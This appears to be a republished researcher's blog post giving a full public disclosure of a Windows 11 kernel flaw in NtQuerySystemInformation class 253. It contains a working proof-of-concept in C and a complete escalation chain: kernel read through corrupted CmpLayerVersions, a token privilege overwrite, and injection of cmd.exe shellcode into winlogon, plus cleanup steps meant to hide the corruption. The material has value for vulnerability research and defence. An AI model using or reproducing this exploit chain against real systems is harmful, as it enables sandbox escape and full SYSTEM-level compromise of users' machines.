




















A single syscall from any unprivileged process — including inside Chrome's renderer sandbox — can increment arbitrary kernel memory addresses. No race conditions. No heap spray. No special tokens. 100% deterministic privilege escalation to SYSTEM.
I wanted to compete in Pwn2Own Berlin 2026 in the Web Browser category. The target: escape Chrome's renderer sandbox via a Windows kernel bug — starting from a compromised renderer process, demonstrate code execution outside the sandbox.
Chrome's sandbox makes the kernel attack surface surprisingly small. The renderer process runs at untrusted integrity with a heavily restricted token. Win32k is completely locked out (win32k lockdown), which eliminates the entire GDI/USER attack surface that has historically been the bread and butter of Windows kernel exploitation. What's left? A handful of NT syscalls that aren't blocked: file operations (heavily filtered by the broker), registry (mostly read-only), and a few system information queries.
Initially, I didn't want to touch NtQuerySystemInformation. It's probably the most audited syscall on Windows — every kernel researcher and their fuzzer has looked at it. Hundreds of info classes, decades of patches. Surely everything exploitable has been found and fixed by now.
But my mind kept coming back to it. I've found simple bugs in "obvious" places before — places where everyone assumes someone else already looked carefully. There's a paradox: the code that everyone thinks has been thoroughly audited sometimes receives less scrutiny precisely because of that assumption. Researchers skip it thinking "no way there's anything left there." The result is that the most looked-at code can be the least looked-at code.
So I opened IDA and started by disqualifying the simple info classes first — get them out of the way so I don't need to think about them later. Within less than a day I hit class 253: a trivially exploitable arbitrary kernel write primitive hiding in plain sight, sharing a code path with the heavily-audited class 5, but with one critical validation missing.
I developed the full exploit, registered for Pwn2Own Berlin — and got rejected. Due to "unprecedented interest," ZDI received over 100 entry requests and hit max capacity at the venue. They couldn't add extra contest days. It wasn't an easy decision on their end, but it was a heartbreaking one on mine. So here we are — full public disclosure instead.
NtQuerySystemInformation with info class 253 (SystemProcessInformationExtension) dispatches to ExpGetProcessInformation. The critical flaw: ProbeForWrite(buffer, Length, alignment) is called before dispatch, but when Length=0, ProbeForWrite is a complete NO-OP — its entire body is gated by if (Length).
This means any pointer — including a kernel-mode address — passes through to the write loop without validation. The function stores the buffer pointer into pExtensionOut and then, for every process on the system, increments the value at that address. This is not a NULL dereference — it is a direct arbitrary kernel address increment primitive callable from any unprivileged process.
The syscall handler at 0x140ae08a0 is a thin dispatcher. For class 253 it falls through to the default case:
void __fastcall NtQuerySystemInformation(
unsigned int a1, _QWORD *a2, ULONG a3, ULONG *a4)
{
switch ( a1 ) {
// ... special cases for classes 8, 0x17, 0x2A, etc ...
case 0x6Bu: case 0x79u: /* ... blocked classes ... */
return;
default:
v9 = 0;
ExpQuerySystemInformation(a1, NULL, 0, a2, a3, a4); // ← class 253 lands here
return;
}
}
At 0x140ada6d0, the function handles the buffer pointer differently per info class. For class 253, pExtensionOut is set directly from the user-supplied buffer (userBuffer) with zero validation:
ExpGetProcessInformation(unsigned int *userBuffer, unsigned int length, ...)
{
if ( infoClass == 252 ) { // @ 0x140ada807
pCompactInfo = userBuffer; // class 252 uses pCompactInfo - safe path
pProcessInfo = 0;
}
else {
pCompactInfo = 0; // @ 0x140ada83d
if ( infoClass == 253 ) { // @ 0x140ada84b
entrySize = 12; // entry size = 12 bytes (3 x DWORD)
pExtensionOut = userBuffer; // @ 0x140ada874 — BUG! No validation!
pProcessInfo = 0;
goto LABEL_11; // skip the pExtensionOut = 0 below
}
pProcessInfo = userBuffer; // class 5 uses pProcessInfo - safe path
}
pExtensionOut = 0; // @ 0x140ada8bd - class 5/252 clear it (safe)
LABEL_11:
// Size check: does NOT return early on failure!
if ( length < entrySize ) // @ 0x140ada8da - Length < 12?
status = 0xC0000004; // STATUS_INFO_LENGTH_MISMATCH (stored, not returned!)
...
// Process iteration - executes for EVERY process on the system
while ( NextProcess ) { // @ 0x140adaa76
if ( infoClass == 253 ) { // @ 0x140adaaf6
++*pExtensionOut; // @ 0x140adaafe: *(DWORD*)(addr+0) += 1
pExtensionOut[1] += PsGetProcessActiveThreadCount(NextProcess); // addr+4
pExtensionOut[2] += ObGetProcessHandleCount(NextProcess, 0); // addr+8
}
// ... class 5/252 paths with proper bounds checking ...
NextProcess = ExGetNextProcess(NextProcess, restricted); // @ 0x140adb9e4
}
Classes 5 and 252 use separate variables (pProcessInfo/pCompactInfo) with proper bounds checking before writes. Class 253 jumps over the pExtensionOut = 0 assignment via goto LABEL_11, leaving pExtensionOut pointing directly at the attacker's buffer — which, thanks to the ProbeForWrite bypass, can be any kernel address.
// Exploitation Primitive
NtQuerySystemInformation(253, kernelAddr, 0, &needed) passes an unvalidated kernel pointer through to the write loop. ProbeForWrite skipped (Length=0). No address check. Direct arbitrary kernel increment.
For each process on the system, the function writes at the attacker-supplied address:
In ExpGetProcessInformation at 0x140ada8da, the length check:
lengthTooSmall = length < entrySize; // @ 0x140ada8d3 - Length (0) < 12? YES
if ( length < entrySize ) { // @ 0x140ada8da
if ( !returnLength ) // only returns if ReturnLength ptr is NULL
return 0xC0000004; // STATUS_INFO_LENGTH_MISMATCH
}
status = lengthTooSmall ? 0xC0000004 : 0; // stores error in status... but continues!
// Execution falls through into the process iteration loop
// The writes at pExtensionOut happen BEFORE this status is ever returned
The function does NOT return early. It stores STATUS_INFO_LENGTH_MISMATCH in a local and continues into the process iteration loop. All three writes execute for every process on the system. The error status is only returned after the damage is done.
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "ntdll.lib")
typedef long NTSTATUS;
#define SystemProcessInformationExtension 253
typedef NTSTATUS (NTAPI *PNtQuerySystemInformation)(
ULONG, PVOID, ULONG, PULONG);
int main(void)
{
PNtQuerySystemInformation pNtQSI = (PNtQuerySystemInformation)
GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");
PVOID target = (PVOID)0xffff800041424344ULL; // any kernel address
ULONG needed = 0;
NTSTATUS status = pNtQSI(
253, // SystemProcessInformationExtension
target, // kernel address - ProbeForWrite skipped because Length=0
0, // Length=0 bypasses ProbeForWrite entirely
&needed
);
// If target is mapped writable kernel memory:
// *(DWORD*)(target+0) += number_of_processes
// *(DWORD*)(target+4) += total_thread_count
// *(DWORD*)(target+8) += total_handle_count
// If target is unmapped → BSOD (kernel fault on write)
printf("[*] status: 0x%08lX | needed: %lu\n", status, needed);
return 0;
}
PROCESS_NAME: poc.exe
nt!ExpGetProcessInformation+0x42e:
fffff801`d7adb22e ff03 inc dword ptr [rbx] ; rbx = 0xffff800041424344
Registers:
rbx = 0xffff800041424344 (attacker-supplied kernel address, pExtensionOut)
r14 = 0xC (= 12 = per-entry size, confirms class 253 path)
r15 = fffff801d7fcef00 (EPROCESS of current iteration)
Stack:
nt!ExpGetProcessInformation+0x42e
nt!ExpQuerySystemInformation+0xd7f
nt!NtQuerySystemInformation+0x91
nt!KiSystemServiceCopyEnd+0x25
ntdll!NtQuerySystemInformation+0x14
═══════════════════════════════════════════════════════════════
NtQuerySystemInformation is not blocked by any of the standard sandbox mitigations:
// Impact
Any compromised renderer process (via a V8/SpiderMonkey bug, etc.) can escalate directly to SYSTEM — the sandbox provides zero protection against this primitive.
From unprivileged user (or sandbox) to NT AUTHORITY\SYSTEM:
KASLR Bypass
prefetch side-channel
→
Corrupt CmpLayerVersions
class 253 increment
→
Kernel Read
class 222 confusion
→
Token Overwrite
increment token+0x42
→
Code Execution
inject winlogon
→
SYSTEM
Leak the ntoskrnl base address via the prefetch side-channel tool. No kernel interaction needed — pure usermode timing attack.
The class 253 write primitive is used to corrupt kernel data structures that enable an arbitrary read. Here's the full visual breakdown:
KERNEL — ntoskrnl.exe + RVA_CmpLayerVersionCount
CmpLayerVersionCount 0x04 ⟶ 0x0B incremented via class 253 write primitive
Valid indices expanded: [0..3] → [0..10] — index 9 now accessible
repeat: write_at(ntos + RVA_CmpLayerVersionCount - 11) // addr+0 gets +1 per process, but we target offset -11 so the DWORD at CmpLayerVersionCount gets incremented
KERNEL — CmpLayerVersions[16] (fixed-size array, only 4 entries used at runtime)
[0] 0xFFFFF801`A2B40100 → legitimate version struct
[1] 0xFFFFF801`A2B40200 → legitimate version struct
[2] 0xFFFFF801`A2B40300 → legitimate version struct
[3] 0xFFFFF801`A2B40400 → legitimate version struct
[4..8] 0x00000000`00000000 unused (always NULL)
[9] 0x00000000`00000000 ⟶ 0x00000000`0001XXXX → USERMODE!
[10..15] 0x00000000`00000000 unused (always NULL)
// Key Insight: Starting from Zero
The array is statically sized to 16 entries, but CmpLayerVersionCount is always 4 at runtime. Entries [4] through [15] are always NULL (0x0000000000000000). This is why we target index 9 — we're incrementing a NULL pointer upward, not corrupting a legitimate kernel pointer downward. Starting from zero means we only need to increment into the 0x10000–0x1FFFF range to land in our usermode allocation.
repeat: write_at(ntos + CmpLayerVersions + sizeof(DWORD) + (QUERY_INDEX - 1) * sizeof(QWORD)) // Each call adds ~process_count to the low DWORD. Starting from 0, we increment until the value reaches 0x10000–0x1FFFF.
We cannot predict exactly where CmpLayerVersions[9] will land within our allocation. Here's why:
Call #1: +87 processes running → ptr = 0x00000057
Call #2: +89 processes (2 spawned) → ptr = 0x000000B0
Call #3: +85 processes (some exited) → ptr = 0x00000105
... process count fluctuates every call
Call #N: ptr = 0x0001???? — somewhere inside our 0x10000 allocation
// Why We Can't Just Calculate the Offset
Each syscall increments *(DWORD*)(ptr) by the current number of running processes. This count changes between calls — services start, background tasks spawn, svchost forks workers. The increment is non-constant, so after N calls the final value is the sum of N different process counts. We know it'll be somewhere in our 64KB allocation at 0x10000, but not where exactly.
This is why we pre-fill the allocation with a unique DWORD pattern and then detect the landing:
// 1. Fill 64KB with unique pattern: p[i] = i
FillAllocationWithUniqueDwordPattern(p, 0x10000);
// 2. Query class 222, index 9 - kernel reads Field_04 from our fake struct
// The returned Field_04 will be whatever DWORD was at landing+4
query_build_info(QUERY_INDEX, &info);
// 3. The value in info.Field_04 IS the pattern DWORD at the landing offset
// Search our allocation to find it:
confusion = detect_address(p, 0x10000, info.Field_04);
// Now we know the EXACT byte offset where the pointer landed
// and can write our FAKE_VERSION_STRUCT at that address
Why This Never Crashes the Kernel
A natural question: what if the pointer hasn't reached our allocation yet (still below 0x10000), or somehow overshoots past it (beyond 0x20000)? The answer: it doesn't matter. The kernel won't crash either way.
0x00000000 – 0x0000FFFF Unmapped usermode Fault → caught by __try/__except → returns error
0x00010000 – 0x0001FFFF Our VirtualAlloc (64KB) Dereference succeeds → reads our fake struct
0x00020000+ Unmapped usermode Fault → caught by __try/__except → returns error
0xFFFF8000`00000000+ Kernel address space Would BSOD — but we start from 0, so we never reach here
The key insight is that CmQueryBuildVersionInformation runs inside ExpQuerySystemInformation's __try/__except block. When the kernel dereferences CmpLayerVersions[9] and it points to an unmapped usermode address:
__try {
ProbeForWrite(userBuffer, Length, 4); // validates OUTPUT buffer
...
CmQueryBuildVersionInformation(&idx, ...);
// ^^ inside here: pVersionStruct = CmpLayerVersions[idx]
// If v7 points to unmapped usermode addr → ACCESS_VIOLATION
// The kernel CANNOT distinguish between:
// - "legitimate ptr to a page that got swapped out"
// - "corrupted ptr that was never valid"
// It's a usermode address, so it's treated as a normal fault.
}
__except(EXCEPTION_EXECUTE_HANDLER) {
return GetExceptionCode(); // STATUS_ACCESS_VIOLATION → returned to caller
// No crash. No BSOD. Just an error code.
}
// Why usermode faults are safe but kernel faults are not
When the kernel faults on a usermode address, SEH can catch it — this is by design, since user buffers can be unmapped at any time (paging, race conditions). The kernel has no way to know if the dereference "should have worked" or not. It just sees a usermode pointer that faulted, catches the exception, and returns an error status.
Contrast this with the class 253 write primitive: if you pass an invalid kernel address, the fault occurs at a kernel address which triggers a bugcheck (BSOD) because kernel pages should never fault unexpectedly. That's why the write primitive requires a valid, mapped kernel target.
// Windows does not enforce SMAP
This entire usermode-mapping trick relies on the kernel being able to freely dereference usermode pointers. On Linux/macOS, SMAP (Supervisor Mode Access Prevention) causes an immediate fault if kernel code touches a usermode address without explicitly disabling the protection first (stac/clac or copy_from_user).
Windows does not use SMAP. The kernel routinely dereferences usermode pointers directly (guarded by __try/__except rather than hardware enforcement). This means corrupting a kernel pointer to point at usermode memory works seamlessly — the kernel happily reads our fake struct without any access fault. On a SMAP-enabled OS, the kernel would fault the moment it tried to access our usermode allocation, regardless of SEH, making this confusion technique impossible.
Microsoft is working on adding SMAP enforcement to Windows, which would mitigate the usermode mapping trick. Until then, usermode mappings remain a free lunch for kernel exploitation on Windows.
Result: We can safely probe whether the pointer has landed by repeatedly querying class 222. If it returns an error → pointer hasn't reached our allocation yet, increment more. If it returns success and Field_04 matches our pattern → we've landed. Zero crash risk during the entire sliding process.
USERMODE — VirtualAlloc(0x10000, 0x10000)
0x00000000
0x00000001
0x00000002
0x00000003
sequential DWORD pattern
Pre-filled with unique DWORD pattern: p[i] = i
Query class 222 with index 9
Read back Field_04 from output
Search allocation for matching DWORD
→ reveals exact landing offset
DETECTED: CmpLayerVersions[9] landed at offset
Pattern match reveals exact address within our allocation
FAKE_VERSION_STRUCT (at detected offset within 0x10000 allocation)
+0x00 header[16] don't care (DWORDs copied to output)
+0x10 UNICODE_STRING us1 .Length = 2 .MaxLength = 2 .Buffer = TARGET_KERNEL_ADDR
+0x20 UNICODE_STRING us5 zeroed (unused)
+0x30 UNICODE_STRING us6 zeroed (unused)
+0x40–0x60 us2, us3, us4 zeroed
+0x320 field_320 0
Kernel reads us1
CmpQueryDowncastString(output+10, 128, &us1)
↓
Follows .Buffer pointer
Reads 2 bytes from TARGET_KERNEL_ADDR
↓
UTF-16 → UTF-8 conversion
RtlUnicodeStringToAnsiString()
↓
Result copied to usermode
Decode UTF-8 → recover original 2 bytes
This gives a full arbitrary kernel read primitive — 2 bytes at a time, decoded from the UTF-16 → UTF-8 conversion. Surrogate pairs (bytes in the 0xD800-0xDFFF range) are resolved by reading at misaligned offsets.
The read primitive depends on CmpQueryDowncastString calling RtlUnicodeStringToAnsiString. Inside that function, the kernel checks which code page the calling process uses — and the conversion path changes completely:
Kernel reads 2 bytes: 0x48 0x8B
↓
Interprets as wchar: U+8B48
↓
Looks up in WideCharTable[]
↓
Maps to: 0x3F (?)
LOSSY. Thousands of wchar values collapse to ?. Impossible to recover original bytes. The single-byte ANSI lookup table (WideCharTable) is a many-to-one mapping — most CJK, symbols, and high-byte values are destroyed.
VS
Kernel reads 2 bytes: 0x48 0x8B
↓
Interprets as wchar: U+8B48
↓
Calls RtlUnicodeToUTF8N()
↓
Emits: 0xE8 0xAD 0x88 (3-byte UTF-8)
LOSSLESS. Every wchar U+0000–U+FFFF encodes to 1–3 byte UTF-8. Fully reversible — decode the UTF-8 back to the wchar, split into original two bytes. The only exception: surrogates (U+D800–U+DFFF) emit U+FFFD — handled by reading at misaligned offsets.
The kernel's decision point is in RtlUnicodeStringToAnsiString at 0x1408a9842:
if ( RtlpIsUtf8Process(0) ) // @ 0x1408a9842 - checks process code page
{
RtlUnicodeToUTF8N(dst, max, // UTF-8 path: LOSSLESS encoding
&actualLen, src, srcLen); // every wchar round-trips perfectly
}
else
{
// ANSI path: uses WideCharTable[] lookup
while ( count < max ) {
dst[count] = WideCharTable[src[count]]; // LOSSY! many wchars → 0x3F ('?')
++count;
}
}
RtlpIsUtf8Process at 0x1408aa170 checks for the magic value 0xFDE9 in three places:
// Check 1: silo-global ACP
if ( *(WORD*)(SiloGlobals + 0x408) == 0xFDE9 ) return true;
// Check 2: silo-global OEMCP
if ( *(WORD*)(SiloGlobals + 0x448) == 0xFDE9 ) return true;
// Check 3: per-process PEB ActiveCodePage
if ( *(WORD*)(PEB + 0x34C) == 0xFDE9 ) return true; // ← this is what we set
return false;
So the exploit patches the PEB directly:
void SetProcessUtf8(void)
{
PPEB peb = NtCurrentTeb()->ProcessEnvironmentBlock;
*(USHORT*)((BYTE*)peb + 0x34C) = 0xFDE9; // ActiveCodePage = UTF-8
}
Byte Recovery Example
Target kernel bytes: 0x48 0x8B
Kernel interprets as wchar (LE): U+8B48
UTF-8 encoding (3 bytes): 0xE8 0xAD 0x88 11101000 10101101 10001000
Extract bits: 1000101101001000 = 0x8B48
Split wchar to bytes (LE): low = 0x48, high = 0x8B
Recovered: 0x48 0x8B ✓
The read primitive reads 2 bytes at a time (one UTF-16 wchar). But there's a problem: if the two kernel bytes happen to form a value in the 0xD800–0xDFFF range, they're interpreted as a UTF-16 surrogate. Surrogates are unpaired halves that RtlUnicodeToUTF8N replaces with U+FFFD (replacement character) — the original bytes are destroyed.
The Problem: Surrogate Byte Pairs
Target bytes: 0x000xD9 → wchar 0xD900 ∈ surrogate range → U+FFFD (LOST!)
Target bytes: 0x480x8B → wchar 0x8B48 ∉ surrogate range → decoded fine
Any byte pair where the high byte is 0xD8–0xDF will be destroyed by the UTF-16 → UTF-8 conversion. This isn't rare — 1 in 32 random byte pairs hits this range.
The Solution: Read Neighbors at Offset ±1
If bytes [i, i+1] form a surrogate, we don't know their values. But the bytes before and after them are already known from successful aligned reads. So we read at misaligned offsets — pairing each unknown byte with a known neighbor:
Read at offset i-1: wchar from bytes [i-1, i] Result: raw[0]=0x41 raw[1]=0x00 raw[0] matches known byte[i-1] ✓ raw[1] = byte[i] ← RECOVERED!
Read at offset i+1: wchar from bytes [i+1, i+2] Result: raw[0]=0xD9 raw[1]=0x90 raw[1] matches known byte[i+2] ✓ raw[0] = byte[i+1] ← RECOVERED!
i-1 0x41
i 0x00 recovered!
i+1 0xD9 recovered!
i+2 0x90
Why This Works
The misaligned reads succeed because pairing an unknown byte with a different neighbor almost certainly produces a non-surrogate wchar. For a surrogate to form, the high byte must be 0xD8–0xDF. When we shift by one byte:
Read [i-1, i]: high byte is now byte[i] (the unknown one). If byte[i] isn't 0xD8-0xDF (which it usually isn't — the original surrogate was [i,i+1] meaning byte[i+1] was the high byte), this read succeeds.
Read [i+1, i+2]: high byte is now byte[i+2] (already known, and we already successfully read it in a different pair, so it's not in surrogate range in this context).
In the extremely rare case where three consecutive bytes are all in 0xD8–0xDF (probability: 1/32³ ≈ 0.003%), the fallback assigns 0xD8 as a best-guess for the unresolvable byte. In practice, this never happens on real kernel data structures.
__int64 __fastcall CmQueryBuildVersionInformation(int *a1, int a2, _WORD *a3, ...)
{
layerIdx = *inputBuffer; // attacker-controlled index
if ( layerIdx >= CmpLayerVersionCount ) // bounds check (we incremented this!)
return STATUS_INVALID_PARAMETER;
pVersionStruct = CmpLayerVersions[layerIdx]; // @ 0x140a44ae4 - corrupted pointer!
// Points into our usermode allocation
*(DWORD*)(output + 1) = *pVersionStruct; // copies DWORDs from fake struct
*(DWORD*)(output + 2) = pVersionStruct[1];
*(DWORD*)(output + 3) = pVersionStruct[2];
*(DWORD*)(output + 4) = pVersionStruct[3];
// These calls follow our crafted UNICODE_STRING.Buffer pointers:
CmpQueryDowncastString(output+10, 128, pVersionStruct+4); // reads from our target kernel addr!
CmpQueryDowncastString(output+74, 128, pVersionStruct+16);
CmpQueryDowncastString(output+138, 128, pVersionStruct+20);
CmpQueryDowncastString(output+202, 128, pVersionStruct+24);
...
}
NTSTATUS __fastcall CmpQueryDowncastString(char *outputBuf, USHORT maxLen, UNICODE_STRING *srcString)
{
if ( srcString->Buffer && srcString->Length ) { // our fake UNICODE_STRING
dest.Buffer = outputBuf; // output buffer (usermode-visible)
dest.MaximumLength = maxLen;
RtlUnicodeStringToAnsiString( // converts UTF-16 → ANSI/UTF-8
&dest, srcString, 0); // reads from srcString->Buffer (kernel addr!)
}
}
The kernel reads bytes from whatever address we put in UNICODE_STRING.Buffer and converts them to ANSI, writing the result into the output struct that gets copied back to usermode. We decode the UTF-8 output to recover the original bytes.
With the arbitrary read, we walk the kernel's EPROCESS linked list to find our own process, extract the token pointer, then use the class 253 write primitive to escalate privileges.
First, read the PsInitialSystemProcess global (at ntos + RVA_PsInitialSystemProcess) to get the System process EPROCESS address. Then follow the ActiveProcessLinks doubly-linked list:
+0x1D0 PID: 4
+0x1D8 Flink: →
→
+0x1D0 PID: 312
+0x1D8 Flink: →
→ ... →
+0x1D0 PID: ours
+0x338 "exploit.exe"
+0x248 Token: 0xFFFF9A01`2C4F0643
// Read PsInitialSystemProcess → System EPROCESS address
kernel_read(ntos + RVA_PsInitialSystemProcess, 8, &system_eprocess);
// Follow ActiveProcessLinks.Flink chain
current = system_eprocess + 0x1D8; // head of list
while (current != head) {
eprocess = current - 0x1D8; // CONTAINING_RECORD
kernel_read(eprocess + 0x1D0, 8, &pid);
if (pid == GetCurrentProcessId()) {
// Found our EPROCESS!
kernel_read(eprocess + 0x248, 8, &token_ref);
token = token_ref & ~0xF; // strip EX_FAST_REF refcount bits
break;
}
kernel_read(current, 8, ¤t); // follow Flink
}
The _TOKEN structure contains privilege bitmasks. SeDebugPrivilege is bit 20 in the Privileges.Enabled field. We use the class 253 write primitive to increment bytes at token+0x42 until the bit is set:
_TOKEN structure (partial)
+0x00 TokenSource ...
+0x40 Privileges.Present which privileges exist (QWORD bitmask)
+0x48 Privileges.Enabled which privileges are ACTIVE (QWORD bitmask)
+0x50 Privileges.EnabledByDefault ...
Privileges.Enabled bitmask (QWORD at token+0x48)
Byte 0 (token+0x48)
76543210
Byte 1 (token+0x49)
15141312111098
Byte 2 (token+0x4A)
2322212019181716
↑ bit 20 = SeDebugPrivilege
The class 253 primitive writes at addr+0, addr+4, and addr+8 (3 DWORDs). By targeting token+0x42:
token+0x42 += process_count Overflows into Privileges.Enabled bytes
token+0x46 += total_threads Hits Enabled bytes 6-9
token+0x4A += total_handles Further privileges
After enough increments, the bitmask accumulates enough value that bit 20 (SeDebugPrivilege) becomes set. We verify with OpenProcess(PROCESS_ALL_ACCESS, winlogon_pid) — if it succeeds, we have debug privilege.
With SeDebugPrivilege enabled, we can open any process regardless of its security descriptor. We target winlogon.exe which runs as NT AUTHORITY\SYSTEM:
1
OpenProcess(PROCESS_ALL_ACCESS, winlogon_pid)
SeDebugPrivilege bypasses DACL → full handle to SYSTEM process
2
VirtualAllocEx(hProcess, PAGE_EXECUTE_READWRITE)
Allocate RWX memory inside winlogon's address space
3
WriteProcessMemory(hProcess, shellcode)
Copy cmd.exe shellcode (272 bytes) into remote allocation
4
CreateRemoteThread(hProcess, shellcode_addr)
Execute shellcode in winlogon's context → inherits SYSTEM token
✓
NT AUTHORITY\SYSTEM cmd.exe
Full system compromise achieved. Game over.
fc 48 83 e4 f0 e8 c0 00 00 00 41 51 41 50 52 51 56 48 31 d2 65 48 8b 52 60 48 8b 52 18 48 8b 52 20 48 8b 72 50 48 0f b7 4a 4a 4d 31 c9 48 31 c0 ac 3c 61 7c 02 2c 20 41 c1 c9 0d 41 01 c1 e2 ed ... 63 6d 64 2e 65 78 65 00 ← "cmd.exe\0"
// Note: Kernel shellcode execution is also possible
With arbitrary read and arbitrary increment, achieving kernel-mode shellcode execution should be fairly straightforward — for example, by corrupting function pointers or dispatch tables to redirect kernel control flow. However, for the Pwn2Own contest only a sandbox escape was required, so this exploit takes the simpler path: escalate token privileges and inject into a SYSTEM process from usermode.
After exploitation, CmpLayerVersionCount has been corrupted (incremented well past its original value of 4). Leaving it corrupted could cause instability — any legitimate class 222 query might access garbage CmpLayerVersions entries. The exploit must restore it to 4 before exiting.
The trick: we don't need to write the value 4 directly. We just keep incrementing the LSB until it overflows past 0xFF and wraps back around to 4.
CmpLayerVersionCount is a DWORD, but its legitimate value (4) fits in a single byte. The write primitive targets an offset (Count - 11) such that the third DWORD write (addr+8) only affects the least significant byte of the count. The higher bytes of the DWORD remain zero throughout.
CmpLayerVersionCount LSB over time
→
0x0B
After Phase 1
(11 — unlocked idx 9)
→
0x??
After exploit
(further corrupted)
→
→
0xFF
Last value
before wrap
→
→
Why only the LSB is affected:
write_at(ntos + CmpLayerVersionCount - 11)
target+0 bytes [Count-11 .. Count-8] += process_count unrelated memory
target+4 bytes [Count-7 .. Count-4] += thread_count unrelated memory
target+8 bytes [Count-3 .. Count+0] += handle_count MSB of this DWORD = LSB of Count!
Memory layout (little-endian)
Count-3
byte 0
(LSB of written DWORD)
Count-2 byte 1
Count-1 byte 2
Count+0
byte 3
(MSB of written DWORD)
= LSB of CmpLayerVersionCount
Count+1
0x00
(untouched)
Count+2
0x00
(untouched)
Count+3
0x00
(untouched)
DWORD written by addr+8 CmpLayerVersionCount (DWORD)
Why Not Increment the DWORD Directly?
The naive approach would be to target CmpLayerVersionCount directly (offset 0) and keep incrementing the full DWORD until it wraps around 0xFFFFFFFF → 0x00000000 → ... → 0x00000004. This has two fatal problems:
Value range to wrap: 0x00000004 → 0xFFFFFFFF → 0x00000004
Total to add: ~4,294,967,296 (2³²)
Per call adds: ~80–100 (process count)
Calls needed: ~43,000,000 syscalls
Time: HOURS (completely impractical)
Worse: the increment is non-deterministic (process count varies). You might never hit exactly 4 — you could land on 3, then jump to 5 on the next call. The DWORD wraps in huge jumps of ~80-100, so hitting a precise value is not guaranteed.
VS
LSB range to wrap: 0x0B → 0xFF → 0x04
Total to add to LSB: ~249 (just one byte!)
Per call, LSB gets: carry from lower bytes (~1–3 per call)
Calls needed: ~80–200 syscalls
Time: < 1 second
Key advantage: the LSB only increments by small carry amounts (1–3 per call), so we have fine-grained control. We can reliably hit exactly 4 because the steps are small enough to not skip over it.
By targeting Count - 11, the write at addr+8 adds handle_count (~3000–5000) to the DWORD at [Count-3]. This primarily changes bytes 0–2 of that DWORD. Carries propagate into byte 3 (the Count LSB), incrementing it by only 1–3 per syscall. Since bytes Count+1 through Count+3 are never written, they stay 0x00 — so once the LSB wraps and reaches 0x04, the full DWORD reads 0x00000004: the original value, fully restored.
// After exploitation: CmpLayerVersionCount LSB is corrupted (e.g. 0x0B)
// Keep incrementing - LSB carries up by ~1-3 per call
// Eventually wraps: ... → 0xFE → 0xFF → 0x00 → 0x01 → ... → 0x04
while (get_version_count() != 4)
{
write_at(ntos_base + RVA_CmpLayerVersionCount - 11);
}
// CmpLayerVersionCount == 0x00000004 - fully restored
// System stable, no evidence of corruption
// Why this works reliably
We only have an increment primitive, not an arbitrary write. We can't set the value to 4 directly. But by targeting the offset so that only the LSB is affected via carry propagation, we get small increments (1–3) that give us fine-grained control. We check after each call and stop the moment it hits 4. No overshoot risk — unlike the direct DWORD approach where jumps of ~80 could skip the target value entirely.
| OS | Windows 11 |
| Versions | 24H2 through 25H2 |
| Builds Confirmed | 26200.8039, 26200.8117, 26200.8246, 26200.8328 |
| Component | ntoskrnl.exe — ExpGetProcessInformation |
| Attack Vector | Local (any user, any integrity, any sandbox) |
| Privileges Required | None |
| Reliability | 100% deterministic |
═══════════════════════════════════════════════════════════════
此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。